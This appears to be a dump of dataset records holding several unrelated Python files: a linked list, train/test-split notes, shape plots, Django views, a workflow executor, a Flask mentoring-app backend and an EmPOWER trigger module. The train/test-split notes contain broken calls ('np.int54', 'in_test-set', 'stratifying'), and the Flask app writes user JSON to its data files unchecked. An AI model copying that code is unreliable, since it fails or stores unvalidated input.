next_node(self):\n return self.__next_node\n\n @next_node.setter\n def next_node(self, value):\n if value.__class__.__name__ is not \"Node\" and value is not None:\n raise TypeError(\"next_node must be a Node object\")\n self.__next_node = value\n\n\nclass SinglyLinkedList:\n def __init__(self):\n self.__head = None\n\n def sorted_insert(self, value):\n if self.__head is None:\n self.__head = Node(value)\n elif self.__head.data >= value:\n self.__head = Node(value, self.__head)\n elif self.__head.data < value:\n node = self.__head\n while node.next_node:\n if node.next_node.data > value:\n tmp = node.next_node\n node.next_node = Node(value, tmp)\n return\n node = node.next_node\n node.next_node = Node(value)\n\n def __str__(self):\n str = \"\"\n while self.__head:\n str = str + \"{}\".format(self.__head.data)\n if self.__head.next_node is not None:\n str = str + \"\\n\"\n self.__head = self.__head.next_node\n return str\n","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"586642239","text":"# Create test set 1 - numpy (not recommended)\r\nimport numpy as np\r\n\r\n # it will make new test set everytime running the program\r\ndef split_train_test(data, test_ratio):\r\n # re-locate the order of data \r\n shuffled_indices = np.random.permutation(len(data))\r\n # testset size is the x% of data\r\n test_set_size = int(len(data) * test_ratio)\r\n # testset is data's (beginning ~ x%) and trainset is (x% ~ end)\r\n test_indices = shuffled_indices[:test_set_size]\r\n train_indices = shuffled_indices[test_set_size:]\r\n # iloc: when the user doesn't know the index label, rows can be extracted using an imaginery index position\r\n return data.iloc[train_indices], data.iloc[test_indices]\r\n\r\n # tuple, check the size of testset and trainset\r\n train_set, test_set = split_train_test(housing, 0.2)\r\n print(len(train_set), \"train +\", len(test_set), \"test\")\r\n\r\n\r\n\r\n# Create test set 2 - crc32 from zlib (using identifier)\r\nfrom zlib import crc32\r\n\r\ndef test_set_check(identifier, test_ratio):\r\n return crc32(np.int54(identifier)) & 0xffffffff < test_ratio * 2**32\r\n\r\ndef split_train_test_by_id(data, test_ratio, id_column):\r\n ids = data[id_column]\r\n in_test_set = ids.apply(lambda id_: test_set_check(id_, test_ratio))\r\n return data.loc[~in_test_set], data.loc[in_test-set]\r\n\r\n\r\n#Create test set 3 - Scikit Learn (train_test_split)\r\n # random testset\r\n # without random_state, you will get different test set when you run it.\r\nfrom sklearn.model_selection import train_test_split\r\ntrain_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\r\n\r\nhousing[\"income_cat\"].value_counts() / len(housing)\r\n\r\n\r\n # Stratified testset\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nstrat_train_set, strat_test_set = train_test_split(housing, test_size=0.2, random_state=42, stratifying=housing[\"income_cat\"])\r\n\r\nhousing[\"income_cat\"].value_counts() / len(housing)\r\n\r\n\r\n","sub_path":"_posts/CHP2_CreateTestSet.py","file_name":"CHP2_CreateTestSet.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"59296989","text":"from pylab import *\n\nfrom geom_formulae import *\n#1 11111111111111111111111111111111111111111111111111111111111111\nv_rectangle_area = np.vectorize(rectangle_area)\nv_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nA = v_rectangle_area(S,8) # the areas\nP = v_rectangle_perimeter (S) # the perimeters\nplot(S, A, '-r', label=\"Area\")\nplot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('rectangle geo Properties')\nlegend(loc='upper right')\nshow()\n#2 2222222222222222222222222222222222222222222222222222222222222\nv_trapezium_area = np.vectorize(trapezium_area)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nA = v_trapezium_area(S,8,20) # the areas\n#P = v_rectangle_perimeter (S) # the perimeters\nplot(S, A, '-r', label=\"Area\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('trapezium geo Properties')\nlegend(loc='upper right')\nshow()\n#3 3333333333333333333333333333333333333333333333333333333333333\nv_circle_area = np.vectorize(circle_area)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nA = v_circle_area(S) # the areas\n#P = v_rectangle_perimeter (S) # the perimeters\nplot(S, A, '-r', label=\"Area\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('circle geo Properties')\nlegend(loc='upper right')\nshow()\n#4 4444444444444444444444444444444444444444444444444444444444444\nv_isosceles_triangle_area = np.vectorize(isosceles_triangle_area)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nA = v_isosceles_triangle_area(S,8) # the areas\n#P = v_rectangle_perime_areater (S) # the perimeters\nplot(S, A, '-r', label=\"Area\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('isosceles_triangle geo Properties')\nlegend(loc='upper right')\nshow()\n#5 55555555555555555555555555555555555555555555555555555555555555\n#v_regular_hexagon_perimeter = np.vectorize()\nv_regular_hexagon_perimeter = np.vectorize(perimeter_regular_hexagon)\n\nS = np.linspace(0, 100) # our side lengths\n#A = v_isosceles_triangle_area(S,8) # the areas\nP = v_regular_hexagon_perimeter (S) # the perimeters\n#plot(S, A, '-r', label=\"Area\")\nplot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('regular hexagon geo Properties')\nlegend(loc='upper right')\nshow()\n#6 66666666666666666666666666666666666666666666666666666666666666\nv_cuboid_volume = np.vectorize(cuboid_volume)\n#v_regular_hexagon_perimeter = np.vectorize()\n\nS = np.linspace(0, 30) # our side lengths\n#A = v_isosceles_triangle_area(S,8) # the areas\nV = v_cuboid_volume (S,50,60) # the perimeters\n#plot(S, A, '-r', label=\"Area\")\nplot(S, V, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('cuboid geo Properties')\nlegend(loc='upper right')\nshow()\n#7 777777777777777777777777777777777777777777777777777777777777777\n\nv_sphere_volume = np.vectorize(volume_sphere)\n#v_sphere_volume = np.vectorize()\n\n\nS = np.linspace(0, 30) # our side lengths\n#A = v_isosceles_triangle_area(S,8) # the areas\nV = v_sphere_volume (S) # the perimeters\n#plot(S, A, '-r', label=\"Area\")\nplot(S, V, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('sphere geo Properties')\nlegend(loc='upper right')\nshow()\n#8 8888888888888888888888888888888888888888888888888888888888888888\n\nv_cube_volume = np.vectorize(cube_volume)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nV= v_cube_volume(S) # the areas\n#P = v_rectangle_perimeter (S) # the perimeters\nplot(S, V, '-r', label=\"volume\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('cube geo Properties')\nlegend(loc='upper right')\nshow()\n#9 999999999999999999999999999999999999999999999999999999999999999\nv_cone_volume = np.vectorize(cone_volume)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nV= v_cone_volume(S,10) # the areas\n#P = v_rectangle_perimeter (S,10) # the perimeters\nplot(S, V, '-r', label=\"volume\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('cone geo Properties')\nlegend(loc='upper right')\nshow()\n#10 10101010101010101010101010101010101010101010101010101010101010\n\nv_cylinder_volume = np.vectorize(cylinder_volume)\n#v_rectangle_perimeter = np.vectorize(rectangle_perimeter)\n\nS = np.linspace(0, 30) # our side lengths\nV= v_cylinder_volume(S,10) # the areas\n#P = v_rectangle_perimeter (S,10) # the perimeters\nplot(S, V, '-r', label=\"volume\")\n#plot(S, P, ':b', label=\"Perimeter\")\nxlabel('side length')\nylabel('geo values')\ntitle('cylinder geo Properties')\nlegend(loc='upper right')\nshow()\n\n\n\n\n\n\n","sub_path":"plot_shape.py","file_name":"plot_shape.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"271927810","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.template import loader\n\nfrom placements.models import Bed, Plant, Inventory_Placement\n\ndef index(request):\n template = loader.get_template('index.html')\n context = {}\n count_beds = Bed.objects.count()\n count_species = Plant.objects.count()\n count_inventory = Inventory_Placement.objects.count()\n context = {\n 'count_beds': count_beds,\n 'count_species': count_species,\n 'count_inventory': count_inventory\n }\n return HttpResponse(template.render(context, request))\n\n\ndef beds(request):\n template = loader.get_template('beds.html')\n #context = {'beds': []}\n context = {}\n #beds = Bed.objects.all()\n #for b in beds:\n #bid = b.id\n #count_species = Inventory_Placement.objects.filter(bed=bid).count()\n #tmp = [bid, b.name, count_species]\n #context['beds'].append(tmp)\n return HttpResponse(template.render(context, request))\n\n\ndef plants(request):\n template = loader.get_template('plants.html')\n context = {}\n return HttpResponse(template.render(context, request))\n\n\ndef inventory(request):\n context = {'bed_id': request.GET.get('bed_id', '')}\n template = loader.get_template('inventory.html')\n context = {}\n return HttpResponse(template.render(context, request))\n\n","sub_path":"placements/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"425696751","text":"# Copyright 2019 HTCondor Team, Computer Sciences Department,\n# University of Wisconsin-Madison, WI.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\n\nimport time\nimport itertools\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logging.NullHandler())\n\nNO_PARENTS = object()\n\n\nclass Executor:\n def __init__(self, workflow, loop_min_delay=0.5):\n self.workflow = workflow\n self.loop_min_delay = loop_min_delay\n\n def execute(self):\n executed_nodes = set()\n\n cycle = itertools.count(0)\n while True:\n c = next(cycle)\n logger.debug(f\"starting executor loop {c}\")\n loop_start = time.time()\n\n incomplete_nodes = set(\n n for n in self.workflow.nodes if not n.is_completed()\n )\n\n if len(incomplete_nodes) == 0:\n logger.debug(\"all nodes complete, exiting\")\n break\n\n children_of_executed_nodes = set()\n for node in executed_nodes:\n children_of_executed_nodes.update(\n n for n, e in self.workflow.children_of(node)\n )\n parentless_nodes = set(\n n\n for n in self.workflow.nodes\n if next(self.workflow.parents_of(n), NO_PARENTS) is NO_PARENTS\n )\n\n consider = (parentless_nodes | children_of_executed_nodes) - executed_nodes\n\n for node in consider:\n logger.debug(f\"considering {node}\")\n\n go = all(\n edge.go(parent, node)\n for parent, edge in self.workflow.parents_of(node)\n )\n\n if go:\n logger.debug(f\"executing {node}\")\n node.execute()\n executed_nodes.add(node)\n else:\n logger.debug(f\"not all parent edges are go for {node}\")\n\n loop_time = time.time() - loop_start\n sleep = max(self.loop_min_delay - loop_time, 0)\n\n logger.debug(\n f\"finished executor loop {c} in {loop_time:.6f} seconds, sleeping {sleep:.6f} seconds before next loop\"\n )\n time.sleep(sleep)\n","sub_path":"ruminator/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":2761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"514683450","text":"# Data Handling\nfrom apikey import apikey\nimport json\nfrom datetime import datetime, date\nimport uuid\n\n# Webserver\nfrom flask import Flask, g, render_template, jsonify, request\nfrom flask_restful import Resource, Api\nfrom flask_cors import CORS\nimport requests\n\n# Sentiment Analysis\nimport boto3\n\n# Simulation\nimport math\n\n\napp = Flask(__name__)\nCORS(app)\n\n\n@app.route(\"/comment\", methods=[\"POST\"])\ndef comment_message():\n \"\"\"Handles new comments on the message board\n Responds to a post request with comment data for a specific message. It commits\n the message to the data store for further querying.\n Returns {success: True} if successful or {success: False} if an error\n occurred.\n \"\"\"\n arguments = request.json\n data = None\n\n with open(\"json_files/message.json\") as json_file:\n data = json.load(json_file)\n\n found = False\n for i, entry in enumerate(data[\"messageBoard\"]):\n if entry[\"id\"] == arguments[\"id\"]:\n data[\"messageBoard\"][i][\"comments\"].append(arguments[\"data\"])\n found = True\n break\n\n if not found:\n return jsonify({\"success\": False})\n\n with open(\"json_files/message.json\", \"w\") as json_file:\n json_file.write(json.dumps(data))\n return jsonify({\"success\": \"true\"})\n\n\n@app.route(\"/message\", methods=[\"POST\"])\ndef post_message():\n \"\"\"Adds a new message to the datastore\n Takes in all message parameters as defined in message.json EXCEPT for timestamp,\n id, and comments to form a new message and save it to the datastore.\n Returns {success: True} if successful or {success: False}\n \"\"\"\n arguments = request.json\n data = None\n with open(\"json_files/message.json\") as json_file:\n data = json.load(json_file)\n\n # TODO: Add some checking here! It's dangerous\n arguments[\"timestamp\"] = datetime.utcnow().isoformat()\n arguments[\"id\"] = str(uuid.uuid4())\n arguments[\"comments\"] = []\n data[\"messageBoard\"].insert(0, arguments)\n\n with open(\"json_files/message.json\", \"w\") as json_file:\n json_file.write(json.dumps(data))\n return jsonify({\"success\": \"true\"})\n\n return jsonify({\"success\": False})\n\n\n@app.route(\"/message\", methods=[\"GET\"])\ndef get_message():\n \"\"\"Returns all messages that populate the message board.\n When this endpoint is hit it returns all possible messages that are currently\n stored in the data store. This includes their id and comments.\n Returns a chronological list of all messages.\n \"\"\"\n with open(\"json_files/message.json\") as json_file:\n data = json.load(json_file)\n return jsonify(data[\"messageBoard\"])\n\n\n@app.route(\"/modules\", methods=[\"GET\"])\ndef get_modules():\n \"\"\"Returns all educational modules to be rendered\n Parses content from the backend data store and formats it to be sent to the\n react frontend in order for it to be displayed.\n Returns a modules object containing all content and descriptors for each\n module.\n \"\"\"\n arguments = request.json\n data = None\n with open(\"json_files/module.json\") as json_file:\n data = json.load(json_file)\n return jsonify(data[\"modules\"])\n # return \"Getting Modules\"\n\n with open(\"json_files/modules.json\", \"w\") as json_file:\n json_file.write(json.dumps(data))\n\n\n@app.route(\"/user\", methods=[\"GET\", \"POST\"])\ndef handle_user():\n \"\"\"Routes all user operations to their proper area\n Given a request routes the request to where it should be processed\n Returns the result of one of its composition functions\n \"\"\"\n if request.method == 'POST':\n return add_user(request)\n elif request.method == 'GET':\n return get_user(request)\n\n return \"Handling User\"\n\n\ndef add_user(request):\n \"\"\"Adds a user to the data store\n Takes in a user representation in json as described in people.json, parses\n the data and commits it to the data store.\n returns {success: True} if it was successful or {success: False} if it was not\n \"\"\"\n arguments = request.json\n data = None\n with open(\"json_files/people.json\", \"r\") as json_file:\n data = json.load(json_file)\n with open(\"json_files/people.json\", \"w\") as json_file:\n data[\"currentStudents\"].append(arguments)\n json_file.write(json.dumps(data))\n return jsonify({\"success\": True})\n\n\ndef get_user(request):\n \"\"\"Returns a list of all users associated with the datastore\n Reads and parses the datastore to grab current students and compose\n them into an object that can be interpreted by the frontend.\n Returns a list of all users\n \"\"\"\n arguments = request.json\n with open(\"json_files/people.json\") as json_file:\n data = json.load(json_file)\n return jsonify(data[\"currentStudents\"])\n\n\n@app.route(\"/match\", methods=[\"GET\", \"POST\"])\ndef match_user():\n \"\"\"Runs a matching algorithm to find the best mentor for a user\n Calculates a naive match between a mentor and a current student in order\n to effectively pair people likely to get along and learn from each other\n Returns a sorted list of mentors to pair with\n \"\"\"\n args = request.json\n print(args)\n if args is None:\n return {\"success\": False}\n\n people_data = None\n with open(\"json_files/people.json\") as json_file:\n people_data = json.load(json_file)\n\n active_student = query_student(people_data, args)\n\n if active_student is None:\n active_student = args\n\n alumni = people_data[\"alumni\"]\n ranked = list()\n comparison_quant_keys = [\"age\"]\n for a in alumni:\n stat = 0\n for key in comparison_quant_keys:\n init = a[key]\n target = active_student[key]\n if len(init) == 0:\n init = 0\n if len(target) == 0:\n target = 0\n stat += abs(float(init) - float(target))\n ranked.append((a, stat))\n\n ranked = sorted(ranked, key=lambda x: x[1])\n return jsonify(list(reversed(ranked)))\n\n\ndef query_student(people_data, args):\n \"\"\"Grabs a specific student from the datastore\n Simply iterates the datastore to find the student\n \"\"\"\n # TODO: Please make this querying better\n students = people_data[\"currentStudents\"]\n for student in students:\n if student[\"firstName\"] == args[\"firstName\"] and student[\"lastName\"] == args[\"lastName\"]:\n return student\n\n\n@app.route(\"/calculateSavings\", methods=[\"GET\", \"POST\"])\ndef calculateSavings():\n \"\"\"Calculates math for the savings simulation\"\"\"\n args = request.json\n saving = float(args[\"saving\"])\n current = float(args[\"current\"])\n time = float(args[\"time\"]) * 12\n rate = float(args[\"rate\"])\n\n if rate == 0:\n top = saving - current\n return jsonify(top/time)\n\n top = saving - (current * ((1+rate)**time))\n bottom = ((1+rate)**time) - (1+rate)\n\n ans = top/(bottom/rate)\n ans /= 12\n return jsonify(ans)\n\n\n@app.route(\"/sentiment\", methods=[\"GET\"])\ndef sentimentAnalysis():\n \"\"\"Connects to AWS to analyze sentiment of messages in order to effectively present analytics\"\"\"\n data_messages = None\n with open(\"json_files/message.json\") as json_file:\n data = json.load(json_file)\n data_messages = data[\"messageBoard\"]\n\n positive = 0.0\n negative = 0.0\n neutral = 0.0\n comprehend = boto3.client(\n service_name='comprehend', region_name='us-east-1')\n\n for x in data_messages:\n text = x['message']\n text2 = x['title']\n\n res = comprehend.detect_sentiment(Text=text, LanguageCode='en')\n res2 = comprehend.detect_sentiment(Text=text2, LanguageCode='en')\n positive += res[\"SentimentScore\"][\"Positive\"] + \\\n res2[\"SentimentScore\"][\"Positive\"]\n negative += res[\"SentimentScore\"][\"Negative\"] + \\\n res2[\"SentimentScore\"][\"Negative\"]\n neutral += res[\"SentimentScore\"][\"Neutral\"] + \\\n res2[\"SentimentScore\"][\"Neutral\"]\n\n positive /= 2 * len(data_messages)\n negative /= 2 * len(data_messages)\n neutral /= 2 * len(data_messages)\n positive = math.ceil(positive * 100)\n negative = math.ceil(negative * 100)\n neutral = (100 - positive - negative)\n\n positive_str = str(positive) + \"%\"\n negative_str = str(negative) + \"%\"\n neutral_str = str(neutral) + \"%\"\n\n return jsonify({\n \"positive\": positive,\n \"negative\": negative,\n \"neutral\": neutral,\n \"positive_str\": positive_str,\n \"negative_str\": negative_str,\n \"neutral_str\": neutral_str\n })\n\n\n@app.route(\"/usersCount\", methods=[\"GET\"])\ndef userCount():\n \"\"\"Returns the count of the number of users using the platform\"\"\"\n args = request.json\n data = None\n with open(\"json_files/people.json\", \"r\") as json_file:\n data = json.load(json_file)\n currStu = data[\"currentStudents\"]\n currAlum = data[\"alumni\"]\n\n return jsonify(len(currStu) + len(currAlum))\n\n\n@app.route(\"/messageCounts\", methods=[\"GET\"])\ndef messageCount():\n \"\"\"Counts the number of message and returns it\"\"\"\n data_messages = None\n with open(\"json_files/message.json\") as json_file:\n data = json.load(json_file)\n data_messages = data[\"messageBoard\"]\n\n # week array indexs 0-6\n week = [0] * 7\n today = date.today()\n currdate = int(today.strftime(\"%d\"))\n min_date = currdate - 6\n for x in data_messages:\n x_date = int(x[\"timestamp\"][8:10])\n if x_date >= min_date and x_date <= currdate:\n week[x_date % min_date] += 1\n ret = [week, [1, 2, 1, 0, 0, 0, 2]]\n return(jsonify(ret))\n\n\n@app.route(\"/predict\", methods=[\"GET\", \"POST\"])\ndef predict():\n \"\"\"Built to predict the monetary value that the program has provided\"\"\"\n args = request.json\n # data = None\n # with open(\"json_files/people.json\", \"r\") as json_file:\n # data = json.load(json_file)\n # currStu = data[\"currentStudents\"][0]\n\n zipcode = args[\"zipcode\"]\n addr = args[\"address\"]\n r = requests.get('https://api.datafinder.com/v2/qdf.php?k2=' + apikey +\n '&service=scores&dcfg_scores=WealthScoreNorm,AutoFinanceScoreNorm,NewTechAdopterScoreNorm&d_zip='+zipcode+'&d_fulladdr='+addr)\n # print(r.text)\n data = r.json()[\"datafinder\"][\"results\"][0]\n\n wealth = data[\"WealthScoreNorm\"]\n autofinance = data[\"AutoFinanceScoreNorm\"]\n tech = data[\"NewTechAdopterScoreNorm\"]\n\n return jsonify({\n \"wealth\": wealth,\n \"autofinance\": autofinance,\n \"tech\": tech\n })\n","sub_path":"BE/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"68111778","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2016 Roberto Riggio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Busyness triggers module.\"\"\"\n\nfrom datetime import datetime\n\nfrom construct import Container\nfrom construct import Struct\nfrom construct import SBInt8\nfrom construct import UBInt8\nfrom construct import UBInt16\nfrom construct import UBInt32\nfrom construct import Bytes\n\nfrom empower.core.resourcepool import ResourceBlock\nfrom empower.core.resourcepool import ResourcePool\nfrom empower.lvapp.lvappserver import ModuleLVAPPWorker\nfrom empower.lvapp import PT_VERSION\nfrom empower.core.app import EmpowerApp\nfrom empower.lvapp import PT_CAPS\nfrom empower.lvapp import PT_BYE\nfrom empower.datatypes.etheraddress import EtherAddress\nfrom empower.core.module import ModuleTrigger\n\nfrom empower.main import RUNTIME\n\nR_GT = 'GT'\nR_LT = 'LT'\nR_EQ = 'EQ'\nR_GE = 'GE'\nR_LE = 'LE'\n\nRELATIONS = {R_EQ: 0, R_GT: 1, R_LT: 2, R_GE: 3, R_LE: 4}\n\nPT_ADD_BUSYNESS = 0x38\nPT_BUSYNESS = 0x39\nPT_DEL_BUSYNESS = 0x40\n\nADD_BUSYNESS_TRIGGER = Struct(\"add_busyness_trigger\", UBInt8(\"version\"),\n UBInt8(\"type\"),\n UBInt32(\"length\"),\n UBInt32(\"seq\"),\n UBInt32(\"module_id\"),\n Bytes(\"hwaddr\", 6),\n UBInt8(\"channel\"),\n UBInt8(\"band\"),\n UBInt8(\"relation\"),\n UBInt32(\"value\"),\n UBInt16(\"period\"))\n\nBUSYNESS_TRIGGER = Struct(\"busyness_trigger\", UBInt8(\"version\"),\n UBInt8(\"type\"),\n UBInt32(\"length\"),\n UBInt32(\"seq\"),\n UBInt32(\"module_id\"),\n Bytes(\"wtp\", 6),\n Bytes(\"hwaddr\", 6),\n UBInt8(\"channel\"),\n UBInt8(\"band\"),\n UBInt32(\"current\"))\n\nDEL_BUSYNESS_TRIGGER = Struct(\"del_busyness_trigger\", UBInt8(\"version\"),\n UBInt8(\"type\"),\n UBInt32(\"length\"),\n UBInt32(\"seq\"),\n UBInt32(\"module_id\"))\n\n\nclass BusynessTrigger(ModuleTrigger):\n \"\"\" Busyness trigger object. \"\"\"\n\n MODULE_NAME = \"busyness_trigger\"\n REQUIRED = ['module_type', 'worker', 'tenant_id', 'block']\n\n def __init__(self):\n\n ModuleTrigger.__init__(self)\n\n # parameters\n self._block = None\n self._relation = 'GT'\n self._value = 0.0\n self._period = 2000\n\n # data structures\n # list of wtps address to which the add busyness message has been sent\n self.wtps = []\n self.event = None\n\n def __eq__(self, other):\n\n return super().__eq__(other) and \\\n self.lvap == other.lvap and \\\n self.relation == other.relation and \\\n self.value == other.value and \\\n self.period == other.period\n\n @property\n def block(self):\n \"\"\"Return block.\"\"\"\n\n return self._block\n\n @block.setter\n def block(self, value):\n \"\"\"Set block.\"\"\"\n\n if isinstance(value, ResourceBlock):\n\n self._block = value\n\n elif isinstance(value, dict):\n\n if 'hwaddr' not in value:\n raise ValueError(\"Missing field: hwaddr\")\n\n if 'channel' not in value:\n raise ValueError(\"Missing field: channel\")\n\n if 'band' not in value:\n raise ValueError(\"Missing field: band\")\n\n if 'wtp' not in value:\n raise ValueError(\"Missing field: wtp\")\n\n wtp = RUNTIME.wtps[EtherAddress(value['wtp'])]\n\n incoming = ResourcePool()\n block = ResourceBlock(wtp, EtherAddress(value['hwaddr']),\n int(value['channel']), int(value['band']))\n incoming.add(block)\n\n match = wtp.supports & incoming\n\n if not match:\n raise ValueError(\"No block specified\")\n\n if len(match) > 1:\n raise ValueError(\"More than one block specified\")\n\n self._block = match.pop()\n\n @property\n def period(self):\n \"\"\"Return period parameter.\"\"\"\n\n return self._period\n\n @period.setter\n def period(self, value):\n \"Set period parameter.\"\n\n if value < 1000:\n raise ValueError(\"Invalid limit value (%u)\" % value)\n\n self._period = value\n\n @property\n def relation(self):\n \"\"\" Return the relation. \"\"\"\n\n return self._relation\n\n @relation.setter\n def relation(self, relation):\n \"\"\" Set the relation. \"\"\"\n\n if relation not in RELATIONS:\n raise ValueError(\"Valid relations are: %s\" %\n ','.join(RELATIONS.keys()))\n\n self._relation = relation\n\n @property\n def value(self):\n \"\"\" Return the value. \"\"\"\n\n return self._value\n\n @value.setter\n def value(self, value):\n \"\"\" Set the value. \"\"\"\n\n if value < 0 or value > 100:\n raise ValueError(\"busyness requires 0 <= value <= 100\")\n\n self._value = int(value)\n\n def to_dict(self):\n \"\"\" Return a JSON-serializable dictionary representing the Trigger \"\"\"\n\n out = super().to_dict()\n\n out['block'] = self.block\n out['relation'] = self.relation\n out['value'] = self.value\n out['period'] = self.period\n out['event'] = self.event\n out['wtps'] = self.wtps\n\n return out\n\n def run_once(self):\n \"\"\" Send out rate request. \"\"\"\n\n if self.tenant_id not in RUNTIME.tenants:\n self.log.info(\"Tenant %s not found\", self.tenant_id)\n for wtp in self.wtps:\n self.remove_busyness_from_wtp(wtp)\n self.unload()\n return\n\n for wtp in RUNTIME.tenants[self.tenant_id].wtps.values():\n self.add_busyness_to_wtp(wtp)\n\n def add_busyness_to_wtp(self, wtp):\n \"\"\"Add Busyness to WTP.\"\"\"\n\n if not wtp.connection or wtp.connection.stream.closed():\n return\n\n if wtp in self.wtps:\n return\n\n req = Container(version=PT_VERSION,\n type=PT_ADD_BUSYNESS,\n length=29,\n seq=wtp.seq,\n module_id=self.module_id,\n wtp=wtp.addr.to_raw(),\n hwaddr=self.block.hwaddr.to_raw(),\n channel=self.block.channel,\n band=self.block.band,\n relation=RELATIONS[self.relation],\n value=int(self.value * 180),\n period=self.period)\n\n self.log.info(\"Sending %s request to %s (id=%u)\",\n self.MODULE_NAME, wtp.addr, self.module_id)\n\n self.wtps.append(wtp)\n\n msg = ADD_BUSYNESS_TRIGGER.build(req)\n wtp.connection.stream.write(msg)\n\n def remove_busyness_from_wtp(self, wtp):\n \"\"\"Remove Busyness to WTP.\"\"\"\n\n if not wtp.connection or wtp.connection.stream.closed():\n return\n\n if wtp not in self.wtps:\n return\n\n req = Container(version=PT_VERSION,\n type=PT_DEL_BUSYNESS,\n length=14,\n seq=wtp.seq,\n module_id=self.module_id)\n\n self.log.info(\"Sending remove %s request to %s (id=%u)\",\n self.MODULE_NAME, wtp.addr, self.module_id)\n\n self.wtps.remove(wtp)\n\n msg = DEL_BUSYNESS_TRIGGER.build(req)\n wtp.connection.stream.write(msg)\n\n def handle_response(self, message):\n \"\"\" Handle an incoming BUSYNESS_TRIGGER message.\n Args:\n message, a BUSYNESS_TRIGGER message\n Returns:\n None\n \"\"\"\n\n wtp_addr = EtherAddress(message.wtp)\n\n if wtp_addr not in RUNTIME.wtps:\n return\n\n wtp = RUNTIME.wtps[wtp_addr]\n\n if wtp_addr not in RUNTIME.tenants[self.tenant_id].wtps:\n return\n\n incoming = ResourcePool()\n hwaddr = EtherAddress(message.hwaddr)\n channel = message.channel\n band = message.band\n incoming.add(ResourceBlock(wtp, hwaddr, channel, band))\n\n matches = wtp.supports & incoming\n\n self.event = \\\n {'block': matches.pop(),\n 'timestamp': datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\"),\n 'current': message.current / 180.0}\n\n self.handle_callback(self)\n\n\nclass BusynessTriggerWorker(ModuleLVAPPWorker):\n \"\"\" Busyness worker. \"\"\"\n\n def handle_caps(self, caps):\n \"\"\"Handle WTP CAPS message.\"\"\"\n\n wtp_addr = EtherAddress(caps.wtp)\n\n if wtp_addr not in RUNTIME.wtps:\n return\n\n for module in self.modules.values():\n module.run_once()\n\n def handle_bye(self, wtp):\n \"\"\"Handle WTP BYE message.\"\"\"\n\n for module in self.modules.values():\n module.wtps.remove(wtp)\n\n\ndef busyness_trigger(**kwargs):\n \"\"\"Create a new module.\"\"\"\n\n return RUNTIME.components[BusynessTriggerWorker.__module__].add_module(**kwargs)\n\n\ndef bound_busyness_trigger(self, **kwargs):\n \"\"\"Create a new module (app version).\"\"\"\n\n kwargs['tenant_id'] = self.tenant.tenant_id\n return busyness_trigger(**kwargs)\n\nsetattr(EmpowerApp, BusynessTrigger.MODULE_NAME, bound_busyness_trigger)\n\n\ndef launch():\n \"\"\" Initialize the module. \"\"\"\n\n busyness_worker = BusynessTriggerWorker(BusynessTrigger, PT_BUSYNESS, \n BUSYNESS_TRIGGER)\n busyness_worker.pnfp_server.register_message(PT_CAPS, None,\n busyness_worker.handle_caps)\n busyness_worker.pnfp_server.register_message(PT_BYE, None,\n busyness_worker.handle_bye)\n\n return 